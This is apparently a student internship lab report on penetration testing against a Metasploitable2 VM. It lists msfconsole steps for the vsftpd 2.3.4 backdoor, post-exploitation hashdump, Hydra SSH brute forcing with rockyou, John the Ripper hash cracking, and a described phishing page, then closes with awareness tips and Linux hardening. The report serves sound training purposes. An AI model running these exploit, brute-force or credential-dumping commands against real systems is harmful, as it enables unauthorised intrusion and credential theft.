LAB REPORT — TASK 4

Exploitation & System Security

1. Objective

This report documents Task 4 of the ApexPlanet Cybersecurity Internship — Exploitation & System Security. The goal was to learn and apply the penetration testing workflow, exploit known vulnerabilities using Metasploit, perform password attacks, simulate social engineering, study malware basics, and harden a Linux system.

2. Penetration Testing Methodology

Every professional penetration test follows a structured 5-phase workflow:

Phase	Stage	Tools / Actions
1	**Reconnaissance**	Nmap, Whois, Shodan, Netcat banner grabbing
2	**Scanning**	Nmap -sV -O -A, OpenVAS vulnerability scan
3	**Exploitation**	Metasploit Framework, msfconsole, exploits
4	**Post-Exploitation**	sysinfo, hashdump, shell, persistence
5	**Reporting**	Document all findings, CVEs, screenshots, mitigations

3. Task Completion Checklist

Task / Step
Pentest Methodology — Document all 5 phases
Metasploit — vsftpd 2.3.4 Backdoor Exploit
Metasploit — Reverse Shell on Metasploitable2
Post-Exploitation — sysinfo command
Post-Exploitation — hashdump command
Hydra — Brute Force SSH Login
John the Ripper — Crack Hashed Passwords
Social Engineering — Phishing Simulation Page
Social Engineering — Awareness Training Notes
Malware Basics — Static vs Dynamic Analysis
Malware — Analyze Benign Sample in Sandbox
System Hardening — Apply Security Patches
System Hardening — Configure Firewall
System Hardening — Disable Unused Services

4. Exploitation with Metasploit

4.1 Target Information

- Target: Metasploitable2 VM
- Attacker: Kali Linux
- Vulnerability: vsftpd 2.3.4 Backdoor (CVE-2011-2523)
- Port: 21 (FTP)

4.2 Exploitation Steps

Commands used in msfconsole to gain a reverse shell:

```
# Launch Metasploit
msfconsole

# Search for the exploit
search vsftpd

# Use the exploit module
use exploit/unix/ftp/vsftpd_234_backdoor

# Set target IP
set RHOSTS [target-ip]

# Run the exploit
run
```

4.3 Post-Exploitation Commands

After gaining shell access, the following commands were run:

```
# Check system information
sysinfo

# Dump password hashes
hashdump

# List running processes
ps

# Get current user
getuid
```

5. Password Attacks

5.1 Brute Force SSH with Hydra

Used Hydra to brute force SSH login credentials on Metasploitable2:

```
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://[target-ip]

# Targeted with common username list
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://[target-
ip] -t 4
```

5.2 Crack Hashes with John the Ripper

Used John the Ripper to crack password hashes obtained from hashdump:

```
# Save hashes to file
echo 'admin:$1$abc$xyz...' > hashes.txt

# Crack with default wordlist
john hashes.txt

# Crack with rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Show cracked passwords
john hashes.txt --show
```

6. Social Engineering (Simulation Only)

6.1 Phishing Simulation Page

Created a phishing simulation page mimicking a legitimate login form to demonstrate how phishing attacks trick users into entering credentials.

- Created a fake HTML login page styled to look like a real service
- Hosted on local Apache server for simulation
- Demonstrated how credentials would be captured

6.2 Phishing Detection — Awareness Training

Key indicators to identify phishing attempts:

Phishing Red Flags	Safe Practices
Urgent language: 'Act now or account closed!'	Verify sender email domain carefully
Misspelled domain: paypa1.com vs paypal.com	Never click links — go directly to the site
Generic greeting: 'Dear Customer'	Check for HTTPS padlock in browser
Requests for password or OTP via email	Enable 2FA on all accounts
Suspicious attachments (.exe, .zip)	Use email spam filters and security tools

7. Malware Basics

7.1 Static vs Dynamic Analysis

Static Analysis	Dynamic Analysis
Examine file WITHOUT executing it	Execute the file in a controlled sandbox
Check file hash (MD5/SHA256)	Monitor system changes in real time
Tools: strings, file, objdump, VirusTotal	Tools: Cuckoo Sandbox, Any.run, Process Monitor
Read code/strings to find IOCs	Observe network calls, file writes, registry changes
Safe — no execution risk	Requires isolated VM environment

7.2 Benign Sample Analysis

Analyzed a benign test sample (EICAR test file) in a sandbox environment:

```
# Create EICAR test file (harmless antivirus test string)
```

```
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-
FILE!$H+H*' > test.txt

# Check file type
file test.txt

# Check hash
md5sum test.txt
sha256sum test.txt

# Check strings in binary
strings test.txt
```

8. System Hardening

8.1 Apply Security Patches

```
sudo apt update && sudo apt upgrade -y
sudo apt dist-upgrade -y
sudo apt autoremove -y
```

8.2 Configure Firewall

```
# Enable UFW firewall
sudo ufw enable

# Allow SSH only
sudo ufw allow 22/tcp

# Block all other incoming
sudo ufw default deny incoming
sudo ufw default allow outgoing

# Check status
sudo ufw status verbose
```

8.3 Disable Unused Services

```
# List all running services
sudo systemctl list-units --type=service --state=running
```

```
# Disable Telnet (insecure)
sudo systemctl stop telnet
sudo systemctl disable telnet

# Disable FTP if not needed
sudo systemctl stop vsftpd
sudo systemctl disable vsftpd
```

10-minute demo video of an exploit with explanation